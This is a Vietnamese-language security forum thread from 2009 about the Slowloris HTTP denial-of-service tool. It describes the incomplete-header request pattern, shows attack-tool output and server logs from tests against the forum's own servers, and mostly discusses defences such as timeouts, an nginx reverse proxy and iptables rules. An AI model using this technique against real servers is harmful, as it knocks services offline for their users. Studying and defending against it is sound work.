Latest posts for the topic "Apache HTTP DoS"

Apache HTTP DoS

mrro — GMT

http://isc.sans.org/diary.html?storyid=6601 wrote:

Yesterday an interesting HTTP DoS tool has been released. The tool performs a Denial of Service attack on Apache (and some other, see below) servers by exhausting available connections. While there are a lot of DoS tools available today, this one is particularly interesting because it holds the connection open while sending incomplete HTTP requests to the server. In this case, the server will open the connection and wait for the complete header to be received. However, the client (the DoS tool) will not send it and will instead keep sending bogus header lines which will keep the connection allocated. The initial part of the HTTP request is completely legitimate: GET / HTTP/1.1\r\n Host: host\r\n User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n Content-Length: 42\r\n After sending this the client waits for certain time – notice that it is missing one CRLF to finish the header which is otherwise completely legitimate. The bogus header line the tools sends is currently: X-a: b\r\n Which obviously doesn't mean anything to the server so it keeps waiting for the rest of the header to arrive. Of course, this all can be changed so if you plan to create IDS signatures keep that in mind. According to the web site where the tool was posted, Apache 1.x and 2.x are affected as well as Squid, so the potential impact of this tool could be quite high considering that it doesn't need to send a lot of traffic to exhaust available connections on a server (meaning, even a user on a slower line could possibly attack a fast server). Good news for Microsoft users is that IIS 6.0 or 7.0 are not affected. At the moment I'm not sure what can be done in Apache's configuration to prevent this attack – increasing MaxClients will just increase requirements for the attacker as well but will not protect the server completely. One of our readers, Tomasz Miklas said that he was able to prevent the attack by using a reverse proxy called Perlbal in front of an Apache server. We'll keep an eye on this, of course, and will post future diaries or update this one depending on what's happening. It will be interesting to see how/if other web servers as well as load balancers are resistant to this attack.

xem thêm: http://ha.ckers.org/slowloris/ http://www.securityfocus.com/archive/1/456339/30/0/threaded mình chưa test thử nhưng thấy có vẻ nguy hiểm nhỉ. mai sẽ test thử xem sao.

Apache HTTP DoS

conmale — GMT

Rất lý thú :). Phía máy con tấn công. Code:

.......
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
              Sending data.
Current stats:  Slowloris has now sent 1100 packets successfully.
This thread now sleeping for 100 seconds...

                Sending data.
Current stats:  Slowloris has now sent 1199 packets successfully.
This thread now sleeping for 100 seconds...

                Sending data.
Current stats:  Slowloris has now sent 1217 packets successfully.
This thread now sleeping for 100 seconds...

                Sending data.
Current stats:  Slowloris has now sent 1240 packets successfully.
This thread now sleeping for 100 seconds...

                Sending data.
Current stats:  Slowloris has now sent 1267 packets successfully.

Phía hệ thống HVA. Web logs: Code:

xxx.xxx.xxx.xxx - - [20/Jun/2009:12:41:15 +0900] "GET / HTTP/1.1" 400 352 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"
xxx.xxx.xxx.xxx - - [20/Jun/2009:12:41:16 +0900] "GET / HTTP/1.1" 400 352 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"
xxx.xxx.xxx.xxx - - [20/Jun/2009:12:41:17 +0900] "GET / HTTP/1.1" 400 352 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"
xxx.xxx.xxx.xxx - - [20/Jun/2009:12:41:18 +0900] "GET / HTTP/1.1" 400 352 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"
xxx.xxx.xxx.xxx - - [20/Jun/2009:12:41:18 +0900] "GET / HTTP/1.1" 400 352 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"
xxx.xxx.xxx.xxx - - [20/Jun/2009:12:41:18 +0900] "GET / HTTP/1.1" 400 352 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"
xxx.xxx.xxx.xxx - - [20/Jun/2009:12:41:19 +0900] "GET / HTTP/1.1" 400 352 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"
xxx.xxx.xxx.xxx - - [20/Jun/2009:12:41:19 +0900] "GET / HTTP/1.1" 400 352 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"
xxx.xxx.xxx.xxx - - [20/Jun/2009:12:41:19 +0900] "GET / HTTP/1.1" 400 352 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"

và: socket stat nhánh 1: Code:

netstat -nat | grep xxx.xxx.xxx.xxx
tcp        0      0 124.146.189.165:80          xxx.xxx.xxx.xxx:60211       ESTABLISHED
tcp        0      0 124.146.189.165:80          xxx.xxx.xxx.xxx:60198       ESTABLISHED
tcp        0      0 124.146.189.165:80          xxx.xxx.xxx.xxx:60210       ESTABLISHED
tcp        0      0 124.146.189.165:80          xxx.xxx.xxx.xxx:60197       ESTABLISHED
tcp        0      0 124.146.189.165:80          xxx.xxx.xxx.xxx:60179       ESTABLISHED
tcp        0      0 124.146.189.165:80          xxx.xxx.xxx.xxx:60183       ESTABLISHED
tcp        0      0 124.146.189.165:80          xxx.xxx.xxx.xxx:60201       ESTABLISHED
tcp        0      0 124.146.189.165:80          xxx.xxx.xxx.xxx:60191       ESTABLISHED
tcp        0      0 124.146.189.165:80          xxx.xxx.xxx.xxx:60218       ESTABLISHED
tcp        0      0 124.146.189.165:80          xxx.xxx.xxx.xxx:60219       ESTABLISHED
tcp        0      0 124.146.189.165:80          xxx.xxx.xxx.xxx:60202       ESTABLISHED
tcp        0      0 124.146.189.165:80          xxx.xxx.xxx.xxx:60208       ESTABLISHED
tcp        0      0 124.146.189.165:80          xxx.xxx.xxx.xxx:60196       ESTABLISHED
tcp        0      0 124.146.189.165:80          xxx.xxx.xxx.xxx:60214       ESTABLISHED
tcp        0      0 124.146.189.165:80          xxx.xxx.xxx.xxx:60217       ESTABLISHED
tcp        0      0 124.146.189.165:80          xxx.xxx.xxx.xxx:60188       ESTABLISHED
tcp        0      0 124.146.189.165:80          xxx.xxx.xxx.xxx:60185       ESTABLISHED
tcp        0      0 124.146.189.165:80          xxx.xxx.xxx.xxx:60193       ESTABLISHED
tcp        0      0 124.146.189.165:80          xxx.xxx.xxx.xxx:60206       ESTABLISHED
tcp        0      0 124.146.189.165:80          xxx.xxx.xxx.xxx:60215       ESTABLISHED

và: socket stat nhánh 2: Code:

netstat -nat | grep xxx.xxx.xxx.xxx
tcp        0      0 72.232.199.28:80            xxx.xxx.xxx.xxx:48182       SYN_RECV
tcp        0      0 72.232.199.28:80            xxx.xxx.xxx.xxx:48176       SYN_RECV
tcp        0      0 72.232.199.28:80            xxx.xxx.xxx.xxx:48181       SYN_RECV
tcp        0      0 72.232.199.28:80            xxx.xxx.xxx.xxx:48198       SYN_RECV
tcp        0      0 72.232.199.28:80            xxx.xxx.xxx.xxx:48189       SYN_RECV
tcp        0      0 72.232.199.28:80            xxx.xxx.xxx.xxx:48183       SYN_RECV
tcp        0    632 72.232.199.30:443           xxx.xxx.xxx.xxx:61964       ESTABLISHED

Rất tiếc không thể công bố logs của hệ thống phòng thủ của HVA trong lúc thực hiện việc này vì lý do bảo mật :P .

Apache HTTP DoS

mR.Bi — GMT

em trích lại một comment của tác giả Neil trên LinuxSecurity:

Neil wrote:

TimeOut 2 or TimeOut 5 breaks this tool. The default is 8.19 minutes and by default it's not in the config file. With the default setting the tool does in fact break Apache 2.2. With 2 second timeout, there's no noticeable lag with the tool running against the server. With 5 second timeout the lag becomes noticeable. On a busy server you will see some lag. This timeout setting doesn't affect how long the client waits for an ack. It also doesn't affect file uploads. -Neil

Tool này chỉ là demo nên có lẽ "mức độ nguy hại" không cao, em dùng từ có lẽ vì em chưa test. Chi tiết về Timeout directive ở http://httpd.apache.org/docs/2.2/mod/core.html#TimeOut

Apache HTTP DoS

LeVuHoang — GMT

Sao không có bác nào khác hứng thú vụ này vậy hen. Ngoài giải pháp dựng 1 con proxy đằng trước thì các bác nào có ý kiến khác không. Hệ thống phòng thủ HVA sẽ phản ứng như thế nào.

Apache HTTP DoS

tranvanminh — GMT

LeVuHoang wrote:

Sao không có bác nào khác hứng thú vụ này vậy hen. Ngoài giải pháp dựng 1 con proxy đằng trước thì các bác nào có ý kiến khác không. Hệ thống phòng thủ HVA sẽ phản ứng như thế nào.

Ai nói không ai , tui đang cài trên vmware để nghiệm thi mấy con server của tui nè -:-)

Apache HTTP DoS

LeVuHoang — GMT

Dead chưa? Của tui là dead roài đó, hehe. Một vài giải pháp trong trường hợp này là: - Hạ timeout (có vẻ không khả thi) - Limit connection (không khả thi nốt) - Sử dụng 1 proxy đằng trước như vanish, nginx

Apache HTTP DoS

tranvanminh — GMT

mR.Bi wrote:

em trích lại một comment của tác giả Neil trên LinuxSecurity:
Neil wrote:

TimeOut 2 or TimeOut 5 breaks this tool. The default is 8.19 minutes and by default it's not in the config file. With the default setting the tool does in fact break Apache 2.2. With 2 second timeout, there's no noticeable lag with the tool running against the server. With 5 second timeout the lag becomes noticeable. On a busy server you will see some lag. This timeout setting doesn't affect how long the client waits for an ack. It also doesn't affect file uploads. -Neil
Tool này chỉ là demo nên có lẽ "mức độ nguy hại" không cao, em dùng từ có lẽ vì em chưa test. Chi tiết về Timeout directive ở http://httpd.apache.org/docs/2.2/mod/core.html#TimeOut

Đâu phải server nào cũng làm được 2 hay 5 đâu :(( Kiểu này nguy . Lão Hoàng cứu tui dzới , DOS HVA không xi nhê #:S hehe

Apache HTTP DoS

LeVuHoang — GMT

Có kết quả test lab rồi nè. Dựng con nginx ở trước, dùng 3 máy DoS liên tục vẫn không xi nhê. hehehe

Apache HTTP DoS

NguyenTracHuy — GMT

Kinh thật. Vai giay là lụm ngay. ;))

Apache HTTP DoS

tranhuuphuoc — GMT

Theo tôi để giảm tải cho thằng Apache như bạn mrro đề cập trong trong trường hợp này mình nghĩ nên dùng Nginx có lẽ sẽ phù hợp nhất. Việc dùng các giải pháp như : Hạ timeout, Limit connection như bạn Hoàng đề cập ở trên thì cũng không khả thi, các cú SYN attack cứ tấn công vào 1 server mặc dù có optimize cho apache, điều chỉnh trong iptables nhưng server vẫn cứ hứng đòn.... từ từ . Anh em có cao kiến nào khác, xin chỉ giúp và bình luận.

Apache HTTP DoS

LeVuHoang — GMT

Việc dùng các giải pháp như : Hạ timeout, Limit connection như bạn Hoàng đề cập ở trên thì cũng không khả thi, các cú SYN attack cứ tấn công vào 1 server mặc dù có optimize cho apache, điều chỉnh trong iptables nhưng server vẫn cứ hứng đòn.... từ từ .

Giải pháp này hông phải của tui :D. Và tui nghĩ giải pháp này cũng có hạn chế (như đã ghi ở trên). Liệu tunning apache để chịu đựng đến bao lâu? 5 phút hay 10 phút? Không rõ trong trường hợp này bác conmale dùng gì để chống đỡ. Riêng tôi, giải pháp tạm thời là sử dụng nginx làm proxy che chắn phía trước (để khỏi thay đổi cấu hình hiện tại). Nhưng về tương lai, có lẽ nên chuyển qua 1 web server khác, như nginx. Updated: Cá nhân tôi không recommend lighttpd vì một số lý do, trong đó có memory leaks (tối kỵ). Cả nginx và lighttpd đều cố gắng giải quyết bài toán http://www.kegel.com/c10k.html (How to handle 10000 connections in parallel on one server)

Apache HTTP DoS

conmale — GMT

HVA dùng Epecha mà. Loại này chưa có trong danh sách bị... nhiễm -:-) . Nói đùa đó. HVA cản lọc từ IP trở lên và mỗi tầng có một trách nhiệm khác nhau. Bởi thế, khi đến tầng web rồi thì tác hại cũng giảm đi rồi. Nếu muốn đạt đủ "impact" thì tầng số nện phải gấp rút hơn mà làm vậy thì bị firewall của HVA tóm ngay. Nếu nện gấp, nện dai, nện dài thì nó (firewall) cho vô blacklist mà đã vô blacklist rồi thì nện cũng y như nện vào /dev/null thôi. Chỉ sau một khoảng thời gian ngưng không nện nữa thì mới được bỏ ra ngoài blacklist. Nói trước, dùng IP của mình mà nện HVA thì khỏi vô HVA luôn ráng chịu á -:-) . @tranvanminh: ủa, cu thần bài thử.... nện rồi hả? @levuhoang: anh đã cho kết quả thử ở ngay sau bài đầu tiên của mrro rồi mà em.

Apache HTTP DoS

LeVuHoang — GMT

Em thấy kết quả phía trên của anh thì bị cản lọc rồi, nhưng chưa rõ trong trường hợp cụ thể của anh thì dùng cách nào. Nếu firewall HVA chặn IP, sẽ có thể xảy ra tình rạng nếu các users dùng chung IP thì cũng sẽ bị "dính đạn" theo, ví dụ như VNPT dùng cùng 1 proxy. Như vậy anh giải quyết bài toán này thế nào?

Apache HTTP DoS

gamma95 — GMT

Em có vài thắc mắc: Tại sao thằng IIS 6, 7 lại miễn nhiễm ?? Tại sao anh Hoàng nói hạ time-out là ko khả thi ?? ... và tại sao thằng phát minh ra chiêu này nó ko dùng POST :D?? Cái cách hạ time-out có khả thi với POST request ko?? Còn về cách phòng thủ của HVA, em nghĩ cái "tốc độ ánh sáng" của HVA đã chống được 50% ??

Apache HTTP DoS

mR.Bi — GMT

@tranvaminh: em chỉ trích thôi mà.

gamma wrote:

Còn về cách phòng thủ của HVA, em nghĩ cái "tốc độ ánh sáng" của HVA đã chống được 50% ??

Tốc độ ánh sáng nó nằm tuốt ở trên, trong khi anh conmale nói HVA cản lọc tự IP, cái dụ ánh sáng này theo em thấy không có vai trò ở đây, vì mô hình HVA là request---....---apache---tomcat (phải không ta), apache mà hứng hết DDOS thì request làm sao tới tomcat nữa? Vì Apache die mất tiêu rồi :D.

Apache HTTP DoS

tranhuuphuoc — GMT

conmale wrote:

Nếu muốn đạt đủ "impact" thì tầng số nện phải gấp rút hơn mà làm vậy thì bị firewall của HVA tóm ngay. Nếu nện gấp, nện dai, nện dài thì nó (firewall) cho vô blacklist mà đã vô blacklist rồi thì nện cũng y như nện vào /dev/null thôi. Chỉ sau một khoảng thời gian ngưng không nện nữa thì mới được bỏ ra ngoài blacklist. Nói trước, dùng IP của mình mà nện HVA thì khỏi vô HVA luôn ráng chịu á -:-) .

Vậy đại ca dùng "cái gì" ở đây có thể nói cho mấy thằng em biết để đở ... đoán mò

Apache HTTP DoS

tranvanminh — GMT

gamma95 wrote:

Em có vài thắc mắc: Tại sao thằng IIS 6, 7 lại miễn nhiễm ?? Tại sao anh Hoàng nói hạ time-out là ko khả thi ?? ... và tại sao thằng phát minh ra chiêu này nó ko dùng POST :D?? Cái cách hạ time-out có khả thi với POST request ko?? Còn về cách phòng thủ của HVA, em nghĩ cái "tốc độ ánh sáng" của HVA đã chống được 50% ??

Tui nghĩ là thế này, Tại seo ÌIS không bị , Dòng họ *nix chơi trò 1 client thì fork cho 1 cái process hay 1 thread , còn ÌIS worker thread thì chắc khi có request , thì nó lấy 1 process để xử lý và nó cũng không thèm đợi response từ client, nên chắc không rơi vào tình trạng này . (không biết đúng không ta) Tại seo hạ timeout xuống không khả thi, Ví dụ như có 1 sciprt CGI hay php gì đó, search mất 10 giây , mà phía web server cho time out là 2 giây thì chưa kịp xử lý là bị time out rồi . Tại seo không dùng POST , Hình như trong option của nó có (không nhớ lắm ) . Nhưng mà bản thân nó GET và đợi nên có đổi qua POST thì cũng dzậy . Về phòng thủ Tình hình là máy đơn , không có đồ chơi cản lọc như của lão Hoàng thì chắc chỉ còn 2 cách là hạ time out xuống hoặc ngồi đợi ............ patch . Server của tui có dùng mấy cái như mod_evasive , giới hạn từ 1 IP này nọ vẫn không hiệu quả .

daika wrote:

@tranvanminh: ủa, cu thần bài thử.... nện rồi hả?

Không chỉ riêng em, mà là cùng một số anh em BQT giúp tay để giết thử mà không được nè anh , lão Hoàng cay cú nhất #:S

Apache HTTP DoS

conmale — GMT

LeVuHoang wrote:

Em thấy kết quả phía trên của anh thì bị cản lọc rồi, nhưng chưa rõ trong trường hợp cụ thể của anh thì dùng cách nào. Nếu firewall HVA chặn IP, sẽ có thể xảy ra tình rạng nếu các users dùng chung IP thì cũng sẽ bị "dính đạn" theo, ví dụ như VNPT dùng cùng 1 proxy. Như vậy anh giải quyết bài toán này thế nào?

Tình trạng socket trên một nhánh server của HVA như sau: tcp 0 0 72.232.199.26:80 aaa.bbb.ccc.ddd:58037 SYN_RECV tcp 0 0 72.232.199.26:80 aaa.bbb.ccc.ddd:58044 SYN_RECV tcp 0 0 72.232.199.26:80 aaa.bbb.ccc.ddd:58045 SYN_RECV tcp 0 0 72.232.199.26:80 aaa.bbb.ccc.ddd:58046 SYN_RECV tcp 0 0 72.232.199.26:80 aaa.bbb.ccc.ddd:58049 SYN_RECV tcp 0 0 72.232.199.26:80 aaa.bbb.ccc.ddd:58051 SYN_RECV tcp 0 0 72.232.199.26:80 aaa.bbb.ccc.ddd:58056 SYN_RECV tcp 0 0 72.232.199.26:80 aaa.bbb.ccc.ddd:58058 SYN_RECV Trong khi đó, phía tấn công vẫn tiếp tục: Code:

Current stats:  Slowloris has now sent 6539 packets successfully.
This thread now sleeping for 100 seconds...

                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Sending data.
Current stats:  Slowloris has now sent 6625 packets successfully.
This thread now sleeping for 100 seconds...

                Building sockets.
                Sending data.
Current stats:  Slowloris has now sent 6675 packets successfully.
This thread now sleeping for 100 seconds...

                Sending data.
Current stats:  Slowloris has now sent 6724 packets successfully.
This thread now sleeping for 100 seconds...

                Building sockets.
                Sending data.
Current stats:  Slowloris has now sent 6790 packets successfully.
This thread now sleeping for 100 seconds...

Cản ở đây là cản theo từng packet (xem các port ở phía client được dùng ở trên như 58037, 58044... ) mà không cản cả IP. Tuy vậy, nếu như client IP là IP của một proxy chính như cách VNPT dùng thì kẹt vì phía client (và proxy của client) sẽ bị dồn ứ vì chậm. Hiện nay chỉ còn vài quốc gia trên thế giới chơi trò đặt 1 cái proxy để "phục vụ" cho cả một khu vực lớn với cả trăm ngàn người dùng như ở VN. Ứng dụng kiểu này cho đơn vị công ty thì còn chấp nhận được chớ cỡ ISP và quốc gia mà chơi như vậy thì chết toi. Đây cũng là một trong những lý do các nhóm e-commerce thứ bự không muốn vào VN là vậy. PS: sẽ phân tích apache kẹt như thế nào với trò chơi này sau.

Apache HTTP DoS

LeVuHoang — GMT

Theo như đoạn grep của anh và nội dung của Slowloris thì hình như anh giới hạn số lượng port được mở trong 1 thời điểm thì phải. Điển hình là tool vẫn hoạt động nhưng send rất ít packets. Trong trường hợp test của em với HVA, em đoán rắng anh chỉ cho phép mở khoảng 10 connections trong 1 thời gian nhất định? Code:

Current stats:  Slowloris has now sent 447 packets successfully.
This thread now sleeping for 1 seconds...

                Building sockets.
                Building sockets.
                Sending data.
Current stats:  Slowloris has now sent 464 packets successfully.
This thread now sleeping for 1 seconds...

                Sending data.
Current stats:  Slowloris has now sent 471 packets successfully.
This thread now sleeping for 1 seconds...

                Building sockets.
                Building sockets.
                Sending data.
Current stats:  Slowloris has now sent 480 packets successfully.
This thread now sleeping for 1 seconds...

                Building sockets.
                Sending data.
Current stats:  Slowloris has now sent 487 packets successfully.
This thread now sleeping for 1 seconds...

Theo em, việc giải quyết bài toán các users sử dụng chung 1 IP proxy khá đau đầu, vì có thể cản lọc những user hợp lệ. Làm sao phải vừa chống các cuộc tấn công từ IP đó nhưng vẫn cho các user khác truy cập bình thường.

Apache HTTP DoS

mR.Bi — GMT

Chắc lúc đó anh conmale sẽ cặm cụi ngồi bật netstat xem source port rồi chặn kiểu Code:

iptables -I conmale -p tcp -i eth0 --sport $PORT -j DROP

j/k. Hì hì, vì bản thân em chưa thấy giải pháp nào tránh được việc chặn nguyên cả một cụm IP xài chung một proxy cả :P.

Apache HTTP DoS

tranvanminh — GMT

Sau khi test vài cái Web lên đường (trong đó có checkpoint của lão Hoàng) , và đã thữ nghiệm thành công cách phòng chống hiệu quả . Xin được ra mắt bà con gần xa cách chống thằng này . 1. Cài nginx

sudo yum install nginx

2. Đại khái vào /etc/nginx/sites-available/default điểu chỉnh như sau để thành reverse proxy

proxy_set_header X-Forwarded-For $remote_addr; worker_processes 2 client_header_timeout 5; ignore_invalid_headers on; limit_zone gulag $binary_remote_addr 1m; server { listen 80; server_name hvaonline.net; location / { proxy_pass http://hvaonline.net:8000; } }

3. Vào apache sửa dòng listen qua port khác .

listen 8000

4. Tạo log cho apache để nhìn cho dễ

LogFormat "%{X-Forwarded-For}i %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" proxy-combined

5. Cho thêm mấy cái này vào trong server chạy apache

iptables -A INPUT -p tcp -s xxx.xxx.xxx.xxx --dport 8000 -j ACCEPT iptables -A INPUT -p tcp --dport 8000 -j DROP

-s xxx.xxx.xxx.xxx là IP của server chạy nginx . ps : Đang bí chiêu , mong mỏi phân tích của anh male .

Apache HTTP DoS

tranvanminh — GMT

You can practice good web server security by doing the following: 1. Limit the amount of connections and how fast those connections can be made from any ip address to your web server by use of your firewall. This can be done with PF (we have a "how to") or Iptables. 2. Time out clients who take too long to perform any action. 3. Drop clients immediately who send invalid data. 4. Limit the amount or memory, cpu time and system resources the webserver can use. This is so the webserver can not take down the machine if the site is attacked. The following Nginx directives will timeout clients who take too long to communicate their intentions to the server. The ignore_invalid_headers directive will drop any client trying to send invalid headers to the server. The explanations of each one is listed above on this page. * client_header_timeout 5; * client_body_timeout 10; * keepalive_timeout 5; * ignore_invalid_headers on; * send_timeout 10;

https://calomel.org/nginx.html

Apache HTTP DoS

conmale — GMT

Hôm qua giờ lục cái mớ code của apache, nginx và lighthttpd để coi (tất nhiên là không có source của IIS :P ) thì mới thấy apache "chết" với dạng DoS này là chuyện hiển nhiên. Apache mở socket và nhận data từ client (3-way handshakes đã hoàn tất) cho mọi request đi vào. Trong trường hợp slowloris tấn công ở đây, nó cố tình không gởi một cái CRLF để hoàn tất request header cho nên apache cứ việc chờ. Trạng thái chờ này sẽ kéo dài cho đến khi timeout (theo mặc định apache hiện chờ 300 giây - 5 phút). Quá 5 phút này, socket ấy sẽ bị hủy. Kẹt ở chỗ là trong vòng 5 phút ấy slowloris đã "nện" thêm khoảng 3000 cú (mở 3000 sockets nếu không có cái gì giới hạn ở phía apache hoặc phía trước apache). Cứ thế, cứ chồng chất lên. Với mặc định 150 MaxClients thì mất bao lâu apache sẽ không còn phục vụ được ai nữa? Chỉ 15 giây không hơn, không kém. Giá trị TimeOut của apache (theo mặc định là 300) nhằm ấn định cho cái gì? Nó ấn định cho 3 điều chính: 1. Thời gian cần thiết để nhận trọn vẹn một cú GET hoặc 2. Thời gian giữa các gói tin TCP chuyên chở cú POST hoặc PUT (có chứa data). 3. Thời gian giữa các cú TCP ACK trong quá trình chuyển tải dữ liệu giữa client (browser) và web server (apache). Với điểm số 1. ở trên, slowloris cố tình làm cho cú GET gởi đến apache không hoàn tất và buộc apache phải đợi. Bởi thế, nếu TimeOut ở trên rút ngắn xuống đến mức tối thiểu thì slowloris trở nên vô tác dụng. Tuy nhiên, nó cũng tạo vấn đề bởi vì nếu giá trị này quá ngắn thì một cú GET hợp lệ và vô tội cũng bị dính theo. Tệ hại hơn nữa, một cú POST (gởi bài lên một diễn đàn chẳng hạn) cũng sẽ bị chung số phận. Cơ chế xử lý một request của apache khá chặt chẽ, nó có đến 7 phase khác nhau (unescapes URL, strips parent and elements from the URI, initial URI location walk, translate_name, Hook: map_to_storage, URI location walk, Hook: header_parser). Tuy nhiên, đến phase "parse" header của một HTTP request thì nó bị "chết" bởi slowloris vì apache hoàn toàn không có cơ chế nào kiểm tra nội dung của header cho đến khi nó nhận được đầy đủ (dựa vào CRLF character trên HTTP header). Socket do slowloris khởi tạo vẫn giữ nguyên ở đó và apache vẫn chờ cho đến khi TimeOut. Nếu apache không dùng giá trị TimeOut chung như thế này mà gán TimeOut cụ thể cho từng loại GET, POST, HEAD.... thậm chí cụ thể hơn cho từng ấn định như LimitRequestLine, LimitRequestFieldSize.... thì TimeOut cho loại này có thể được kiểm soát chặt chẽ và hữu lý hơn. Ví dụ, nếu LimitRequestFieldSize là 2k và LimitRequestLine là 7 (chẳng hạn) thì tổng số dung lượng của cả cú GET đó không thể quá 20K (bao gồm cả URI). Cho dù một client dùng modem analog cỡ 14.4 bauds đi chăng nữa, cũng mất không quá vài giây để hoàn thành. Nếu lâu hơn giá trị TimeOut ấn định cụ thể cho loại GET này thì slowloris hoàn toàn bị khống chế. Ngay cả một cơ chế Timer dùng để đo thời gian tốn cho mỗi dòng HTTP header được đọc xuyên qua socket được ứng dụng cũng có thể vô hiệu hóa slowloris khá dễ dàng bởi lẽ chính apache đã có cơ chế đếm và giới hạn bao nhiêu dòng trên HTTP header. Điểm yếu của apache là nó chờ cho request header hoàn tất rồi mới sanitize nội dung header. Với giá trị TimeOut được dùng chung như thế thì sẽ tạo ảnh hưởng tổng thể cho cả các request hợp lệ khác. Có lẽ phải đợi cho đến khi apache có ứng dụng tách rời các giá trị TimeOut ra thành từng mảng nhỏ cho từng trường hợp thì mới có thể khắc chế hữu hiệu trên tầng ứng dụng (application). Ngoài ra, để khắc chế dạng tấn công như slowloris phải cậy vào những cơ chế khác ở tầng thấp hơn (điều chỉnh kernel paramters, hạn chế connection trên firewall, hạn chê tầng số nhận SYN.....) thì mới chịu thấu. Trên apache, gia tăng MaxClients tối đa, gia giảm TimeOut, gia giảm KeepAliveTimeOut... có thể trợ giúp một phần. Tuy nhiên nếu chỉ đơn thuần điều chỉnh những giá trị này trên Apache mà không có gì khác chống che thì sớm muộn Apache cũng bị "denial of service" (mặc dù nó không chết). Vậy tại sao nginx chống đỡ được slowloris (với mức độ tấn công ít dồn dập) mà apache không thể (cũng với cùng mức độ này)? Đơn giản là vì nginx có ấn định "TimeOut" chi tiết hơn và hợp lý hơn chớ không như một "TimeOut" chung của apache. Song song vào đó, nginx có cơ chế buffering data nhận từ HTTP headers của clients. Những headers nào thuộc dạng invalid (ví dụ như thiếu CRLF) thì cho đi ngay. Tuy vậy, bản thân nginx cũng không tránh khỏi nạn "denial of service" nếu như số worker_connections đã bị dùng hết. Những connection sau đó sẽ bị nginx từ chối (cũng y hệt như apache MaxClients). Thật ra nginx cũng phải dựa trên giới hạn connection (ngx_http_limit_zone) và từ chối tiếp nhận requests từ cùng một IP nếu IP này đụng đến giới hạn connection được ấn định sẵn. Nếu slowloris được dàn ra như một thế trận bots thì cả nginx cũng sẽ chết nhanh chóng. Việc nginx từ chối IP và giới hạn connection nếu mức độ tấn công đi đến một giới hạn nào đó nếu so ra thì cũng giống y hệt như ứng dụng phòng thủ trên HVA ngay lúc này. Điều này có nghĩa chính nginx, nếu dùng như một reverse proxy hoặc một web front end, khi bị DDoS nó cũng sẽ từ chối một IP của một proxy chính như của VNPT vậy. PS: lighthttpd chịu không thấu slowloris. Những ai có ý định dùng mod_security trên apache để chống đỡ thì nên từ bỏ ý định bởi vì ngay cả ở phase 1 của mod_security (phase xảy ra sớm nhất mà mod_security có thể can thiệp) thì cũng thuộc giai đoạn xảy sau khi HTTP headers được apache nhận đủ. slowloris tấn công dừng lại ở bước chính apache phải chờ trước khi chuyển thông tin vào để xử lý (bước này mới đụng đến không gian của mod_security).

Apache HTTP DoS

K4i — GMT

conmale wrote:

PS: lighthttpd chịu không thấu slowloris.

Ý anh ở đây là sao ạ (chịu không thấu ở đây là sức chịu đựng khi so sánh với apache và nginx có phải không anh), anh có thể phân tích rõ hơn nguyên nhân tại sao không anh :D

Apache HTTP DoS

8668 — GMT

Đã làm theo cách của bác tranvanminh,cải thiện tốc độ chút ít!

Apache HTTP DoS

conmale — GMT

K4i wrote:

conmale wrote:

PS: lighthttpd chịu không thấu slowloris.
Ý anh ở đây là sao ạ (chịu không thấu ở đây là sức chịu đựng khi so sánh với apache và nginx có phải không anh), anh có thể phân tích rõ hơn nguyên nhân tại sao không anh :D

Đơn giản là lighthttpd cũng không có những ấn định cụ thể và chi tiết cho việc kiểm soát "TimeOut" nên khi bị slowloris "oánh" thì nó cũng chết đứ đừ. Tính ra nó bền hơn apache một tí (trong điều kiện cả lighthttpd và apache đều không có gì khác bảo vệ).

Apache HTTP DoS

Abe — GMT

Mình hết sức thắc mắc 2 điểm là : 1. Sao đến giờ này, chưa thấy có report / chưa "cảm thấy" được một.. "làn sóng" căng thẳng nào về việc khai thác lỗ hổng này vì với tính chất nghiêm trọng và khả năng dễ khai thác như vậy thì đây quả là một điều hết sức..không bình thường. Phải chẳng là trước khi bão thì biển rất lặng?! 2. Đã khá lâu rồi mà bạn Apache chưa thể hiện bất kể một ý định gì ;-) ?

Apache HTTP DoS

conmale — GMT

Abe wrote:

